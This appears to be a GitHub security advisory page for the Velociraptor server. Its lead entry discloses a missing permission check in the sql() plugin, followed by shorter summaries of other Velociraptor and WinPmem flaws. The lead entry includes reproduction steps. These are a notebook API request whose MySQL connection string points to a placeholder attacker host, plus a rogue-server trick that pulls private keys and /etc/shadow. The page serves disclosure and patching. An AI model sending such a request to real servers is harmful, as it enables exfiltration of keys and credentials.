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Severity
6.5
SQL Injection, CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).

The plugin declares FILESYSTEMREAD only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (httpclient, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.

The built-in analyst role holds ANYQUERY but not FILESYSTEMREAD or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.

Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.

Affected

- Velocidex/velociraptor server, <= v0.77.1 (latest release, 2026-06-23). Identical vulnerable code in master HEAD 1961e79 (2026-07-17). - Confirmed live-exploitable on the official ghcr.io/velocidex/velociraptor-server:latest image (build 0.77.1, commit bbe2a58). - Stock install, default Basic authenticator, any built-in analyst, investigator, or api role (all hold ANYQUERY, none holds FILESYSTEMREAD or NETWORK). - No non-default flag required.

Root cause

SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vqlsubsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEMREAD) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANYQUERY without FILESYSTEMREAD or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.

Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVERARTIFACTWRITER with COLLECTSERVER, ARTIFACTWRITER with COLLECTCLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEMREAD on every sibling plugin. If ANYQUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEMREAD) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.

Reproduction

ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.

1) As analyst, confirm the control: the gated accessor denies the read.

sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEMREAD]

2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.

3) As the same analyst, call the ungated branch through the notebook query API:

POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT FROM sql(driver='mysql', connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}

The rogue server receives the file:

QUERY: 'SELECT 1' EXFIL 12860 bytes /etc/velociraptor/server.config.yaml contains: CA privatekey, gwprivatekey, Frontend privatekey

Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while httpclient() on the same account returns PermissionDenied: [NETWORK].

Impact

CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint. Any root-readable file on the server host disclosed (/etc/shadow, datastore user records with password hashes, cross-tenant orgs data). Arbitrary outbound TCP from the server host through the same sink and the uploadsftp, uploadsmb, uploadazure, uploadgcs plugins. Root-owned file creation at any path via the sqlite branch (zero-permission data accessor plus an in-query ATTACH DATABASE). Triggered by the lowest built-in query role, default config, one query, no admin interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.04%
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Velociraptor versions prior to 0.76.3 contain a vulnerability in the query() plugin which allows access to all orgs with the user's current ACL token. This allows an authenticated GUI user with access in one org, to use the query() plugin, in a notebook cell, to run VQL queries on other orgs which they may not have access to. The user's permissions in the other org are the same as the permissions they have in the org containing the notebook.

First published (updated )
Severity
4.9
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Velociraptor's WatchEvent gRPC API can specify the OrgId of the org from which events should be streamed. The server checks the API permissions against the caller's Org instead of the requested Org. This allows a user with API access in one org to read events from another org for which they have no access.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Velociraptor's SetClientMetadata used the wrong permission check to enforce setting metadata on the server. This allows a user with LABELCLIENTS permission to update the server metadata.

Server metadata is often used to store site wide configuration data that should only be updated by the server admin.

First published (updated )
Severity
5.5
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L

Velociraptor allows collection of VQL queries packaged into Artifacts from endpoints. These artifacts can be used to do anything and usually run with elevated permissions. To limit access to some dangerous artifact, Velociraptor allows for those to require high permissions like EXECVE to launch.

The Windows.Sysinternals.SysmonLogForward is a monitoring artifact used to forward sysmon events to the server. The artifact allows the user to specify an arbitrary binary path as a parameter, and did not enforce an additional required permission, allowing users with COLLECTCLIENT permissions (normally given by the "Investigator" role) to collect it from endpoints and run a different binary program than the installed sysmon binary. To successfully exploit this vulnerability the user must already have access to collect artifacts from the endpoint (i.e. have the COLLECTCLIENT given typically by the "Investigator" role).

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Velociraptor stores the compiled VQL in the hunt object internally to avoid having to recompile the artifacts for each endpoint in the hunt. Although the field "compiledcollectorargs" is an internal field, Velociraptor allowed the field to be set from a user API call. This allows another user who can schedule a hunt (minimal role of "investigator" ) to set the compiled VQL statements for the hunt bypassing any ACL checks that would normally be applied.

This flaw can then be escalated to allow the "investigator" user to run arbitrary VQL statements as an administrator user on the Velociraptor server.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Velociraptor contains a deadlock condition that may be triggered by authenticated users. The issue stems from a lock management bug in the user management module.

First published (updated )
Severity
7.7
EPSS
0.01%
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

An authorization bypass (CWE-639) in the GetUserRoles gRPC API endpoint in Velocidex Velociraptor below version 0.76.5 allows any authenticated low-privilege user to retrieve the complete ACL policy (roles and permissions) for any user across all organizations by supplying targeted Name and Org parameters via a network request.

First published (updated )
Severity
5.5
EPSS
0.01%
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

An off-by-one error (CWE-193) in the ConsumeUnit16Array and ConsumeUnit64Array functions in Velocidex Velociraptor before version 0.76.5 on Windows and Linux allows a local attacker to cause a Denial of Service (DoS) via a process crash by providing a specially crafted .evtx file to the parseevtx VQL plugin.

First published (updated )
Severity
4.9
EPSS
0.02%
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Velociraptor versions prior to 0.76.4 contain a resource exhaustion vulnerability in the server's agent control channel.

This allows a compromised or rogue Velociraptor client to crash the server via out-of-memory (OOM) by sending crafted messages through the normal client communication channel.

First published (updated )
Severity
6.8
EPSS
0.03%
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Velociraptor versions prior to 0.76.4 contain a cross organization authorization bypass in the HTTP API. A user with only the reader role in the root organization (the lowest authenticated role, holding only READRESULTS permission ) can issue a single authenticated HTTP GET that can read any files from other orgs - even if they have no explicit permissions in the target org.

However, the problem does not occur in reverse - a user with read access to a sub org is unable to read from other org or the root org.

First published (updated )
Severity
7.3
Input Validation
AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:H

Velocidex WinPmem versions 4.1 and below suffer from an Improper Input Validation vulnerability whereby an attacker with admin access can trigger a BSOD with a parallel thread changing the memory’s access right under the control of the user-mode application. This is due to verification only being performed at the beginning of the routine allowing the userspace to change page permissions half way through the routine.  A valid workaround is a rule to detect unauthorized loading of winpmem outside incident response operations.

First published (updated )
Severity
8.2
AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Velocidex WinPmem versions below 4.1 suffer from an Out of Bounds Write vulnerability. By using an IO Control, a user space program can trick the driver into writing a 0 into any chosen memory location. In conjunction with information leakage from the WinPmem driver, attackers can discover the location in memory for the gCiOptions global symbol. This can be leveraged to disable signed driver enforcement on the target system - allowing attackers to load unsigned drivers.

First published (updated )

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